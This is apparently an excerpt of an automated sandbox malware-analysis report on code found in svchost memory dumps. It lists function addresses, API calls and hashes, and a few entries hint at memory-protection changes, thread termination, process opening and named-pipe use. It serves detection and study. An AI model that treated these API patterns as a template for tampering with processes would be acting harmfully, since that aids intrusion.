StrCmpNIW.SHLWAPI ref: 0000026A879C2FAF
GetProcessHeap.KERNEL32 ref: 0000026A879C3015
HeapFree.KERNEL32 ref: 0000026A879C3023

Strings

dialer, xrefs: 0000026A879C2FA8

Memory Dump Source

Source File: 00000022.00000002.3075789818.0000026A879C0000.00000040.00000001.00020000.00000000.sdmp, Offset: 0000026A879C0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_34_2_26a879c0000_svchost.jbxd

Similarity

API ID: Heap$Process$AllocFree
String ID: dialer
API String ID: 756756679-3528709123
Opcode ID: 2e24de9146afbba5105044d4fd5602f1f9f0ed558a5ed62472976580c3eaf0ad
Instruction ID: 8cc78c2e0b9a0818aac4479415df311af9c6568ae4cde8b4077327d37afdd94e
Opcode Fuzzy Hash: 2e24de9146afbba5105044d4fd5602f1f9f0ed558a5ed62472976580c3eaf0ad
Instruction Fuzzy Hash: 2231B032701B5582FA94DF16E54876DBBA4FB85BC0F084020EE4867B55EF36C4A18B42

Function 0000026A879CCFA0 Relevance: 9.1, APIs: 6, Instructions: 57COMMONLIBRARYCODE

Download Yara Rule

APIs

GetLastError.KERNEL32 ref: 0000026A879CCFAF
FlsSetValue.KERNEL32(?,?,?,0000026A879CD6B5,?,?,?,?,0000026A879CD778), ref: 0000026A879CCFE5
FlsSetValue.KERNEL32(?,?,?,0000026A879CD6B5,?,?,?,?,0000026A879CD778), ref: 0000026A879CD012
FlsSetValue.KERNEL32(?,?,?,0000026A879CD6B5,?,?,?,?,0000026A879CD778), ref: 0000026A879CD023
FlsSetValue.KERNEL32(?,?,?,0000026A879CD6B5,?,?,?,?,0000026A879CD778), ref: 0000026A879CD034
SetLastError.KERNEL32 ref: 0000026A879CD04F

Memory Dump Source

Source File: 00000022.00000002.3075789818.0000026A879C0000.00000040.00000001.00020000.00000000.sdmp, Offset: 0000026A879C0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_34_2_26a879c0000_svchost.jbxd

Similarity

API ID: Value$ErrorLast
String ID:
API String ID: 2506987500-0
Opcode ID: 4f148fb448054b99fdb5313590ff83f86fc6d8762bc770a772f95ba4b575ef67
Instruction ID: a51daef424c37a2d87d3f48ae78d9347c480c631925ac01d6e6589b89c5644b5
Opcode Fuzzy Hash: 4f148fb448054b99fdb5313590ff83f86fc6d8762bc770a772f95ba4b575ef67
Instruction Fuzzy Hash: E611B13130468082FEF4A735965E33D36666BC97F0F500324A83667BDAEE6BC4018E02

Function 0000026A879C199C Relevance: 9.0, APIs: 6, Instructions: 42stringCOMMON

Download Yara Rule

APIs

OpenProcess.KERNEL32 ref: 0000026A879C19C2
K32GetModuleFileNameExW.KERNEL32 ref: 0000026A879C19E0
PathFindFileNameW.SHLWAPI ref: 0000026A879C19EF
lstrlenW.KERNEL32 ref: 0000026A879C19FB
StrCpyW.SHLWAPI ref: 0000026A879C1A0E
CloseHandle.KERNEL32 ref: 0000026A879C1A1C

Memory Dump Source

Source File: 00000022.00000002.3075789818.0000026A879C0000.00000040.00000001.00020000.00000000.sdmp, Offset: 0000026A879C0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_34_2_26a879c0000_svchost.jbxd

Similarity

API ID: FileName$CloseFindHandleModuleOpenPathProcesslstrlen
String ID:
API String ID: 517849248-0
Opcode ID: 01214db588610ff501214a343c1506f8e4016efad0e64bbd234dc336c45f59d3
Instruction ID: 9a315eb257f643b679e19e597653428afdd5a9ed67b0f0b7c202793297a7241d
Opcode Fuzzy Hash: 01214db588610ff501214a343c1506f8e4016efad0e64bbd234dc336c45f59d3
Instruction Fuzzy Hash: CB016931300A4082EB94DB52A84C35DBBA1F789BC0F884035EE4963755DF3EC989CB01

Function 0000026A879C36C8 Relevance: 9.0, APIs: 6, Instructions: 38threadCOMMON

Download Yara Rule

APIs

GetModuleHandleW.KERNEL32 ref: 0000026A879C36E4
GetCurrentProcess.KERNEL32 ref: 0000026A879C36F2
VirtualProtectEx.KERNEL32 ref: 0000026A879C3714
GetCurrentProcess.KERNEL32 ref: 0000026A879C3732
VirtualProtectEx.KERNEL32 ref: 0000026A879C3753
TerminateThread.KERNEL32 ref: 0000026A879C3762

Memory Dump Source

Source File: 00000022.00000002.3075789818.0000026A879C0000.00000040.00000001.00020000.00000000.sdmp, Offset: 0000026A879C0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_34_2_26a879c0000_svchost.jbxd

Similarity

API ID: CurrentProcessProtectVirtual$HandleModuleTerminateThread
String ID:
API String ID: 449555515-0
Opcode ID: 4c9ec6165d8c5af47ee19c29b3e549fd6cc17b885c385019f049dc0dac4977bc
Instruction ID: 0005ef61f3f4758259884e0c528835bf75180136e8c964115b40faba9de71eb2
Opcode Fuzzy Hash: 4c9ec6165d8c5af47ee19c29b3e549fd6cc17b885c385019f049dc0dac4977bc
Instruction Fuzzy Hash: AE012D75211B4482EFA4DB62E80D31D7BB0BB86B86F444428DE4D27754EF7EC1488F02

Function 0000026A879C9005 Relevance: 8.9, APIs: 3, Strings: 2, Instructions: 135COMMON

Download Yara Rule

APIs

__except_validate_context_record.LIBVCRUNTIME ref: 0000026A879C9013
_IsNonwritableInCurrentImage.LIBCMT ref: 0000026A879C90A8
RtlUnwindEx.NTDLL ref: 0000026A879C90F7

Strings

f, xrefs: 0000026A879C9026
csm, xrefs: 0000026A879C908E

Memory Dump Source

Source File: 00000022.00000002.3075789818.0000026A879C0000.00000040.00000001.00020000.00000000.sdmp, Offset: 0000026A879C0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_34_2_26a879c0000_svchost.jbxd

Similarity

API ID: CurrentImageNonwritableUnwind__except_validate_context_record
String ID: csm$f
API String ID: 2395640692-629598281
Opcode ID: 114af5d7cf0438a1297bb8b9b6869ba79c6078414514cf9bb502ab9f42d0baed
Instruction ID: 92aa7bb9b2b6dfa6ad1a732484a25b6d845d725c4ad4245d6686fe6e64f0842d
Opcode Fuzzy Hash: 114af5d7cf0438a1297bb8b9b6869ba79c6078414514cf9bb502ab9f42d0baed
Instruction Fuzzy Hash: 2D51BD32701640CEEF94DF15E84DB5D3BA6F3A4BA8F518124DA0767788EB76C981CB06

Function 0000026A879C8FE8 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 75COMMON

Download Yara Rule

APIs

__except_validate_context_record.LIBVCRUNTIME ref: 0000026A879C9013
_IsNonwritableInCurrentImage.LIBCMT ref: 0000026A879C90A8
RtlUnwindEx.NTDLL ref: 0000026A879C90F7

Strings

f, xrefs: 0000026A879C9026
csm, xrefs: 0000026A879C908E

Memory Dump Source

Source File: 00000022.00000002.3075789818.0000026A879C0000.00000040.00000001.00020000.00000000.sdmp, Offset: 0000026A879C0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_34_2_26a879c0000_svchost.jbxd

Similarity

API ID: CurrentImageNonwritableUnwind__except_validate_context_record
String ID: csm$f
API String ID: 2395640692-629598281
Opcode ID: 0036035fc280b7a5a111a049c7edfc77b7be6b9ab52e14187ebc45e366edaa55
Instruction ID: 1ab68a51141d201d9d3457faa14e522c8d132673c329719a63e2eaa97f42be49
Opcode Fuzzy Hash: 0036035fc280b7a5a111a049c7edfc77b7be6b9ab52e14187ebc45e366edaa55
Instruction Fuzzy Hash: 4331DF32200680CAEB94DF12E84CB1D7BA5F3A4BE8F458014EE4727789DB3AC941CF06

Function 0000026A879C1A40 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 30stringCOMMON

Download Yara Rule

APIs

GetFinalPathNameByHandleW.KERNEL32 ref: 0000026A879C1A60
StrCmpNIW.SHLWAPI ref: 0000026A879C1A7A
lstrlenW.KERNEL32 ref: 0000026A879C1A89
StrCpyW.SHLWAPI ref: 0000026A879C1A9E

Strings

\\?\, xrefs: 0000026A879C1A6E

Memory Dump Source

Source File: 00000022.00000002.3075789818.0000026A879C0000.00000040.00000001.00020000.00000000.sdmp, Offset: 0000026A879C0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_34_2_26a879c0000_svchost.jbxd

Similarity

API ID: FinalHandleNamePathlstrlen
String ID: \\?\
API String ID: 2719912262-4282027825
Opcode ID: c1daab9146f2a1614ef605d22fd4f721266e20aa8a0235322e79b2424596649d
Instruction ID: f116469fb9c2a0e448e9d2de76ad660752bf9178b15ca800e2592a53e1aade34
Opcode Fuzzy Hash: c1daab9146f2a1614ef605d22fd4f721266e20aa8a0235322e79b2424596649d
Instruction Fuzzy Hash: 93F03C7230464192EBA0CB21F88875D7F60F789BC8F888021DA4957958DA6EC68DCF05

Function 0000026A879C3044 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 27COMMON

Download Yara Rule

APIs

StrCmpIW.SHLWAPI ref: 0000026A879C3066
StrCpyW.SHLWAPI ref: 0000026A879C3076
StrCatW.SHLWAPI ref: 0000026A879C3082
PathCombineW.SHLWAPI ref: 0000026A879C3090

Strings

\\.\pipe\, xrefs: 0000026A879C305C

Memory Dump Source

Source File: 00000022.00000002.3075789818.0000026A879C0000.00000040.00000001.00020000.00000000.sdmp, Offset: 0000026A879C0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_34_2_26a879c0000_svchost.jbxd

Similarity

API ID: CombinePath
String ID: \\.\pipe\
API String ID: 3422762182-91387939
Opcode ID: 8c685e1f0b85bfe06f91eeefbd03c12bff8419d51c8b157116edbf6ca1c9c829
Instruction ID: 8951257b2819e3fd8c3a1e414e7e6c4bb950c718772d34c177490584403dd16d
Opcode Fuzzy Hash: 8c685e1f0b85bfe06f91eeefbd03c12bff8419d51c8b157116edbf6ca1c9c829
Instruction Fuzzy Hash: D7F01C75718B8482FA94CF53B91C11DBE65AB89FD0F089131EE4A67B18DF7DC4458B02

Function 0000026A879CBC98 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 27libraryloaderCOMMON

Download Yara Rule

APIs

GetModuleHandleExW.KERNEL32 ref: 0000026A879CBCBD
GetProcAddress.KERNEL32 ref: 0000026A879CBCD3
FreeLibrary.KERNEL32 ref: 0000026A879CBCFA

Strings

CorExitProcess, xrefs: 0000026A879CBCCC
mscoree.dll, xrefs: 0000026A879CBCB4

Memory Dump Source

Source File: 00000022.00000002.3075789818.0000026A879C0000.00000040.00000001.00020000.00000000.sdmp, Offset: 0000026A879C0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_34_2_26a879c0000_svchost.jbxd

Similarity

API ID: AddressFreeHandleLibraryModuleProc
String ID: CorExitProcess$mscoree.dll
API String ID: 4061214504-1276376045
Opcode ID: 0f45d19500fbd6816ab24c8a126c5dacde8056cea587c59ff890217df17fdf5d
Instruction ID: 3b089b17eef97f58e315832727781e6d96eaf58a468135795a3cb71de5b836e2
Opcode Fuzzy Hash: 0f45d19500fbd6816ab24c8a126c5dacde8056cea587c59ff890217df17fdf5d
Instruction Fuzzy Hash: 19F06271211A0481EF50CF29E44C35D7F20EB867A5F940219DA6A571E4DF2EC544CB02

Function 0000026A879C50D0 Relevance: 7.8, APIs: 5, Instructions: 318threadCOMMON

Download Yara Rule

APIs

GetCurrentThreadId.KERNEL32 ref: 0000026A879C5156

Memory Dump Source

Source File: 00000022.00000002.3075789818.0000026A879C0000.00000040.00000001.00020000.00000000.sdmp, Offset: 0000026A879C0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_34_2_26a879c0000_svchost.jbxd

Similarity

API ID: CurrentThread
String ID:
API String ID: 2882836952-0
Opcode ID: e13ad259af2044a9722e5c88be2fea28068701e2040856c8b7ebe2328a6e9181
Instruction ID: e84d3f95ef50d0da7100aa3763a05495aa81dff1962d31d5224108d669eafd74
Opcode Fuzzy Hash: e13ad259af2044a9722e5c88be2fea28068701e2040856c8b7ebe2328a6e9181
Instruction Fuzzy Hash: EF02B632219B8486EBA0CB59E49875EB7A1F3D4794F204015EB8E97BA9DF7DC484CF01

Function 0000026A879C5710 Relevance: 7.6, APIs: 5, Instructions: 124threadCOMMON

Download Yara Rule

APIs

GetCurrentThreadId.KERNEL32 ref: 0000026A879C5726

Memory Dump Source

Source File: 00000022.00000002.3075789818.0000026A879C0000.00000040.00000001.00020000.00000000.sdmp, Offset: 0000026A879C0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_34_2_26a879c0000_svchost.jbxd

Similarity

API ID: CurrentThread
String ID:
API String ID: 2882836952-0
Opcode ID: b02f694671304b5a077fe24bce3094f0c3b02718cee177a37b7a7da192a85efa
Instruction ID: 67d3c669d68eaeb62026641d81c2ba8ade1a21c8528e3319f6dd4d7c6ecb65f5
Opcode Fuzzy Hash: b02f694671304b5a077fe24bce3094f0c3b02718cee177a37b7a7da192a85efa
Instruction Fuzzy Hash: EE61EA36519B44C6EBA0DB15E54832EB7A0F3D8784F600115FA8E57BA8DB7EC580CF02

Function 0000026A879A3504 Relevance: 7.6, APIs: 5, Instructions: 56COMMONLIBRARYCODE

Download Yara Rule

APIs

_set_statfp.LIBCMT ref: 0000026A879A352C
_set_statfp.LIBCMT ref: 0000026A879A3547
_set_statfp.LIBCMT ref: 0000026A879A3563
_set_statfp.LIBCMT ref: 0000026A879A359F

Memory Dump Source

Source File: 00000022.00000002.3074727733.0000026A87990000.00000040.00000001.00020000.00000000.sdmp, Offset: 0000026A87990000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_34_2_26a87990000_svchost.jbxd

Similarity

API ID: _set_statfp
String ID:
API String ID: 1156100317-0
Opcode ID: 9af7c444609857cffc651de9bcb8f693be62289a5d0e310862a2fbcb97617874
Instruction ID: aeaa6a3608324816b59301e751e5f347b5c67f5421315ed83d7c14011e8581c2
Opcode Fuzzy Hash: 9af7c444609857cffc651de9bcb8f693be62289a5d0e310862a2fbcb97617874
Instruction Fuzzy Hash: 9711C232A12F1111FEE4152CE85E36DB9D06B58374F48A738AD7E277E6CA2AC8415E02

Function 0000026A879D4104 Relevance: 7.6, APIs: 5, Instructions: 56COMMONLIBRARYCODE

Download Yara Rule

APIs

_set_statfp.LIBCMT ref: 0000026A879D412C
_set_statfp.LIBCMT ref: 0000026A879D4147
_set_statfp.LIBCMT ref: 0000026A879D4163
_set_statfp.LIBCMT ref: 0000026A879D419F

Memory Dump Source

Source File: 00000022.00000002.3075789818.0000026A879C0000.00000040.00000001.00020000.00000000.sdmp, Offset: 0000026A879C0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_34_2_26a879c0000_svchost.jbxd

Similarity

API ID: _set_statfp
String ID:
API String ID: 1156100317-0
Opcode ID: 9af7c444609857cffc651de9bcb8f693be62289a5d0e310862a2fbcb97617874
Instruction ID: 951121f1d836c29066c475965dea384ba1a895c4e71a86b8b5a2b369afc9a8fb
Opcode Fuzzy Hash: 9af7c444609857cffc651de9bcb8f693be62289a5d0e310862a2fbcb97617874
Instruction Fuzzy Hash: FC117036A10A9131FAE4D568E85E36D3D516B783F8F280724AD76376F6CA2AC8414E03

Function 0000026A8799F040 Relevance: 7.2, APIs: 1, Strings: 3, Instructions: 182COMMON

Download Yara Rule

APIs

_invalid_parameter_noinfo.LIBCMT ref: 0000026A8799F124

Strings

Wednesday, xrefs: 0000026A8799F1ED
or copy constructor iterator', xrefs: 0000026A8799F25A, 0000026A8799F275
Tuesday, xrefs: 0000026A8799F0F4

Memory Dump Source

Source File: 00000022.00000002.3074727733.0000026A87990000.00000040.00000001.00020000.00000000.sdmp, Offset: 0000026A87990000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_34_2_26a87990000_svchost.jbxd

Similarity

API ID: _invalid_parameter_noinfo
String ID: Tuesday$Wednesday$or copy constructor iterator'
API String ID: 3215553584-4202648911
Opcode ID: 9e57f18f61c22f0406784eb273be7b0d6046b42052b72e443b30de0c50228f55
Instruction ID: eebbbc8525f68246a3b0a6a29bd4a3cb681badd0c78307970aab721f545df6c1
Opcode Fuzzy Hash: 9e57f18f61c22f0406784eb273be7b0d6046b42052b72e443b30de0c50228f55
Instruction Fuzzy Hash: 4861D372604640C2FAF9CB68E54C36EBAA2F785784F544425CA1A377A4DB37C885CF43

Function 0000026A879CAA1C Relevance: 7.1, APIs: 2, Strings: 2, Instructions: 147COMMON

Download Yara Rule

APIs

EncodePointer.KERNEL32 ref: 0000026A879CAA68
_CallSETranslator.LIBVCRUNTIME ref: 0000026A879CAAB7

Strings

MOC, xrefs: 0000026A879CAA7C
RCC, xrefs: 0000026A879CAA85

Memory Dump Source

Source File: 00000022.00000002.3075789818.0000026A879C0000.00000040.00000001.00020000.00000000.sdmp, Offset: 0000026A879C0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_34_2_26a879c0000_svchost.jbxd

Similarity

API ID: CallEncodePointerTranslator
String ID: MOC$RCC
API String ID: 3544855599-2084237596
Opcode ID: c123fbbb8780cd52d1c7b069b1b1cc678e7e4f5673d54000f6e5fbfac7098139
Instruction ID: 91175b491b7fc14e3f1a7658fd3bfdb3fb1216593f4870ebf483384664c1c76e
Opcode Fuzzy Hash: c123fbbb8780cd52d1c7b069b1b1cc678e7e4f5673d54000f6e5fbfac7098139
Instruction Fuzzy Hash: 26619D33A00B84CAEB60DF65D48439D7BA1F398BACF084215EF4927B98DB39C595CB41

Function 0000026A8799A178 Relevance: 7.1, APIs: 2, Strings: 2, Instructions: 145COMMON

Download Yara Rule

APIs

__except_validate_context_record.LIBVCRUNTIME ref: 0000026A8799A1A0
__FrameHandler3::FrameUnwindToEmptyState.LIBVCRUNTIME ref: 0000026A8799A288

Strings

csm, xrefs: 0000026A8799A1C2
csm, xrefs: 0000026A8799A2DA

Memory Dump Source

Source File: 00000022.00000002.3074727733.0000026A87990000.00000040.00000001.00020000.00000000.sdmp, Offset: 0000026A87990000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_34_2_26a87990000_svchost.jbxd

Similarity

API ID: Frame$EmptyHandler3::StateUnwind__except_validate_context_record
String ID: csm$csm
API String ID: 3896166516-3733052814
Opcode ID: b607b9418e38c48ebb6f53552568b8ff7a3aff5a85fd43f0b6d07fa9fad214e5
Instruction ID: 24b885a40865372f2d4962931c6dd4c13311282acb065aa2b8f2b100d7f859d2
Opcode Fuzzy Hash: b607b9418e38c48ebb6f53552568b8ff7a3aff5a85fd43f0b6d07fa9fad214e5
Instruction Fuzzy Hash: A251A032100380CAFBF48F25954839C77A0F355BA4F189216DB99A7BD5CB3AD490DF02

Function 0000026A879CAD78 Relevance: 7.1, APIs: 2, Strings: 2, Instructions: 145COMMON

Download Yara Rule

APIs

__except_validate_context_record.LIBVCRUNTIME ref: 0000026A879CADA0
__FrameHandler3::FrameUnwindToEmptyState.LIBVCRUNTIME ref: 0000026A879CAE88

Strings

csm, xrefs: 0000026A879CADC2
csm, xrefs: 0000026A879CAEDA

Memory Dump Source

Source File: 00000022.00000002.3075789818.0000026A879C0000.00000040.00000001.00020000.00000000.sdmp, Offset: 0000026A879C0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_34_2_26a879c0000_svchost.jbxd

Similarity

API ID: Frame$EmptyHandler3::StateUnwind__except_validate_context_record
String ID: csm$csm
API String ID: 3896166516-3733052814
Opcode ID: b607b9418e38c48ebb6f53552568b8ff7a3aff5a85fd43f0b6d07fa9fad214e5
Instruction ID: 893e4d8dc827b760fc59cebf5f18d00e76e891684a4649e14e6d9b3ac1800f38
Opcode Fuzzy Hash: b607b9418e38c48ebb6f53552568b8ff7a3aff5a85fd43f0b6d07fa9fad214e5
Instruction Fuzzy Hash: 2D51BF72100380CAEFB48F65958835D77A4F3D5BA5F188216EB8967BD5CB3AD490DF02

Function 0000026A87998405 Relevance: 7.1, APIs: 2, Strings: 2, Instructions: 135COMMON

Download Yara Rule

APIs

__except_validate_context_record.LIBVCRUNTIME ref: 0000026A87998413
_IsNonwritableInCurrentImage.LIBCMT ref: 0000026A879984A8

Strings

f, xrefs: 0000026A87998426
csm, xrefs: 0000026A8799848E

Memory Dump Source

Source File: 00000022.00000002.3074727733.0000026A87990000.00000040.00000001.00020000.00000000.sdmp, Offset: 0000026A87990000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_34_2_26a87990000_svchost.jbxd

Similarity

API ID: CurrentImageNonwritable__except_validate_context_record
String ID: csm$f
API String ID: 3242871069-629598281
Opcode ID: 114af5d7cf0438a1297bb8b9b6869ba79c6078414514cf9bb502ab9f42d0baed
Instruction ID: 8bc6e4c2ed6fb3d0b116afd45bb950e03d86cb73ff22765c23392437f1fb0b44
Opcode Fuzzy Hash: 114af5d7cf0438a1297bb8b9b6869ba79c6078414514cf9bb502ab9f42d0baed
Instruction Fuzzy Hash: 8051DD327122009BFB94CF15E488F1C37A9F354B98F568168DA0A67788EB36D885CF07

Function 0000026A879983E8 Relevance: 7.1, APIs: 2, Strings: 2, Instructions: 75COMMON

Download Yara Rule

APIs

__except_validate_context_record.LIBVCRUNTIME ref: 0000026A87998413
_IsNonwritableInCurrentImage.LIBCMT ref: 0000026A879984A8

Strings

f, xrefs: 0000026A87998426
csm, xrefs: 0000026A8799848E

Memory Dump Source

Source File: 00000022.00000002.3074727733.0000026A87990000.00000040.00000001.00020000.00000000.sdmp, Offset: 0000026A87990000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_34_2_26a87990000_svchost.jbxd

Similarity

API ID: CurrentImageNonwritable__except_validate_context_record
String ID: csm$f
API String ID: 3242871069-629598281
Opcode ID: 0036035fc280b7a5a111a049c7edfc77b7be6b9ab52e14187ebc45e366edaa55
Instruction ID: 6434e668c18de7f899a849f0e788a6f9301be5892d0fc4d1102cc1fdd749815e
Opcode Fuzzy Hash: 0036035fc280b7a5a111a049c7edfc77b7be6b9ab52e14187ebc45e366edaa55
Instruction Fuzzy Hash: A1319C32211740AAF794DF11E888F1D77A9F740B98F568018EE5B67788DB3AC945CB06

Function 0000026A879D2058 Relevance: 6.3, APIs: 4, Instructions: 299fileCOMMON

Download Yara Rule

APIs

GetConsoleOutputCP.KERNEL32 ref: 0000026A879D20D7
WriteFile.KERNEL32 ref: 0000026A879D239F
WriteFile.KERNEL32 ref: 0000026A879D23E5
GetLastError.KERNEL32 ref: 0000026A879D249B

Memory Dump Source

Source File: 00000022.00000002.3075789818.0000026A879C0000.00000040.00000001.00020000.00000000.sdmp, Offset: 0000026A879C0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_34_2_26a879c0000_svchost.jbxd

Similarity

API ID: FileWrite$ConsoleErrorLastOutput
String ID:
API String ID: 2718003287-0
Opcode ID: 3a35214534a53fd0655822596b90f4932f5655332a96a267e8fac8abb8670521
Instruction ID: 3076751dc3de790d1c224386df8ee1f4e5ab8c71f6f65ab3a3bed05673c9e6dc
Opcode Fuzzy Hash: 3a35214534a53fd0655822596b90f4932f5655332a96a267e8fac8abb8670521
Instruction Fuzzy Hash: 88D10132B14A8089EB51CFB9D4483AC3FB1F754BD8F108216DE5DA7B99DA3AC446CB41

Function 0000026A879C14A4 Relevance: 6.3, APIs: 5, Instructions: 42memoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32 ref: 0000026A879C14C5
HeapFree.KERNEL32 ref: 0000026A879C14D4
GetProcessHeap.KERNEL32 ref: 0000026A879C14E1
HeapFree.KERNEL32 ref: 0000026A879C14F0
GetProcessHeap.KERNEL32 ref: 0000026A879C1500

Memory Dump Source

Source File: 00000022.00000002.3075789818.0000026A879C0000.00000040.00000001.00020000.00000000.sdmp, Offset: 0000026A879C0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_34_2_26a879c0000_svchost.jbxd

Similarity

API ID: Heap$Process$Free
String ID:
API String ID: 3168794593-0
Opcode ID: ccd79a5c24cc2b6b77d5d0d776de3086a7ca9ca8278a44c8c605b81f59301eca
Instruction ID: 8a01ecca636f93bdf911fe9301806ba74427497ad84442dbc2d131ee4094cafd
Opcode Fuzzy Hash: ccd79a5c24cc2b6b77d5d0d776de3086a7ca9ca8278a44c8c605b81f59301eca
Instruction Fuzzy Hash: 9F115B76604A91D6E794DFA6A80814D7FA0FB8AFC5F084025EA4963716EE39C451CB41

Function 0000026A879D2980 Relevance: 6.2, APIs: 4, Instructions: 218COMMON

Download Yara Rule

APIs

GetConsoleMode.KERNEL32 ref: 0000026A879D2A9C
GetLastError.KERNEL32 ref: 0000026A879D2B27

Memory Dump Source

Source File: 00000022.00000002.3075789818.0000026A879C0000.00000040.00000001.00020000.00000000.sdmp, Offset: 0000026A879C0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_34_2_26a879c0000_svchost.jbxd

Similarity

API ID: ConsoleErrorLastMode
String ID:
API String ID: 953036326-0
Opcode ID: fa691138abb93940963a85324df6708f2ee223ec670a65e1a7af20f8b77031a4
Instruction ID: a659f95e0478c9a379e7c93a59f58379ea217171002cffd52b577c1c22c3c908
Opcode Fuzzy Hash: fa691138abb93940963a85324df6708f2ee223ec670a65e1a7af20f8b77031a4
Instruction Fuzzy Hash: 9391D032700A5085FBA0DF7594883AD3FA0F759B98F644109DE4A77A94DB7EC8C2CB02

Function 0000026A879C7960 Relevance: 6.0, APIs: 4, Instructions: 39timethreadCOMMONLIBRARYCODE

Download Yara Rule

APIs

GetSystemTimeAsFileTime.KERNEL32 ref: 0000026A879C798C
GetCurrentThreadId.KERNEL32 ref: 0000026A879C799A
GetCurrentProcessId.KERNEL32 ref: 0000026A879C79A6
QueryPerformanceCounter.KERNEL32 ref: 0000026A879C79B6

Memory Dump Source

Source File: 00000022.00000002.3075789818.0000026A879C0000.00000040.00000001.00020000.00000000.sdmp, Offset: 0000026A879C0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_34_2_26a879c0000_svchost.jbxd

Similarity

API ID: CurrentTime$CounterFilePerformanceProcessQuerySystemThread
String ID:
API String ID: 2933794660-0
Opcode ID: 561ac6f4885ef0f33bff27beb4ddb95e6a253367b5c72fac45fcb4617ca9122b
Instruction ID: 4e80524f35fcef7bad59f85813724d52d64db0f3f33ffe74409acc95bda1e77e
Opcode Fuzzy Hash: 561ac6f4885ef0f33bff27beb4ddb95e6a253367b5c72fac45fcb4617ca9122b
Instruction Fuzzy Hash: A4115A32710F018AEB90DF60E8583AC37B4F31A758F440E21EA6D537A4EB78C1988780

Function 0000026A879C253C Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 185COMMON

Download Yara Rule

APIs

GetFileType.KERNEL32 ref: 0000026A879C2620
StrCpyW.SHLWAPI ref: 0000026A879C2639

Strings

\\.\pipe\, xrefs: 0000026A879C262B

Memory Dump Source

Source File: 00000022.00000002.3075789818.0000026A879C0000.00000040.00000001.00020000.00000000.sdmp, Offset: 0000026A879C0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_34_2_26a879c0000_svchost.jbxd

Similarity

API ID: FileType
String ID: \\.\pipe\
API String ID: 3081899298-91387939
Opcode ID: 54f1dfa0457f4d2b58266312e3bc9b9bd619b52cd53b64f893b189ad2eed13fb
Instruction ID: 97ea5c88fb40b65250efba85239deb6fe808c8ef7dc44d6fea174178200e4e45
Opcode Fuzzy Hash: 54f1dfa0457f4d2b58266312e3bc9b9bd619b52cd53b64f893b189ad2eed13fb
Instruction Fuzzy Hash: E671B636200B8186EFB5DF25D8993AE77A4F3C9B84F550026DD0963B89DE36D685CB02

Function 0000026A87999E1C Relevance: 5.4, APIs: 1, Strings: 2, Instructions: 147COMMON

Download Yara Rule

APIs

_CallSETranslator.LIBVCRUNTIME ref: 0000026A87999EB7

Strings

MOC, xrefs: 0000026A87999E7C
RCC, xrefs: 0000026A87999E85

Memory Dump Source

Source File: 00000022.00000002.3074727733.0000026A87990000.00000040.00000001.00020000.00000000.sdmp, Offset: 0000026A87990000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_34_2_26a87990000_svchost.jbxd

Similarity

API ID: CallTranslator
String ID: MOC$RCC
API String ID: 3163161869-2084237596
Opcode ID: c123fbbb8780cd52d1c7b069b1b1cc678e7e4f5673d54000f6e5fbfac7098139
Instruction ID: e083ef4e6a99dc2faf5a08287110857988fabb0183ff147dc1fcf3667f8f1dd1
Opcode Fuzzy Hash: c123fbbb8780cd52d1c7b069b1b1cc678e7e4f5673d54000f6e5fbfac7098139
Instruction Fuzzy Hash: 33618B33A05B848AFBA0DFA5D48439D77B0F398B98F044215EF4927B98DB3AD595CB01

Function 0000026A879C2330 Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 141COMMON

Download Yara Rule

APIs

GetFileType.KERNEL32 ref: 0000026A879C2416
StrCpyW.SHLWAPI ref: 0000026A879C242D

Strings

\\.\pipe\, xrefs: 0000026A879C2421

Memory Dump Source

Source File: 00000022.00000002.3075789818.0000026A879C0000.00000040.00000001.00020000.00000000.sdmp, Offset: 0000026A879C0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_34_2_26a879c0000_svchost.jbxd

Similarity

API ID: FileType
String ID: \\.\pipe\
API String ID: 3081899298-91387939
Opcode ID: 713d5f66120afee1318357aa22047e1871f046a8e1f6ca4f8182a23e28854f89
Instruction ID: a2f76bc1a186076cee4736489c3d4438f40eba79840f7ba633a66ebf323134d9
Opcode Fuzzy Hash: 713d5f66120afee1318357aa22047e1871f046a8e1f6ca4f8182a23e28854f89
Instruction Fuzzy Hash: EA51C43220478182FFB4DB2AA45C3AEBB91F3D5780F450125DE5A27B99DA3BC585CF42

Function 0000026A879D26F0 Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 100fileCOMMON

Download Yara Rule

APIs

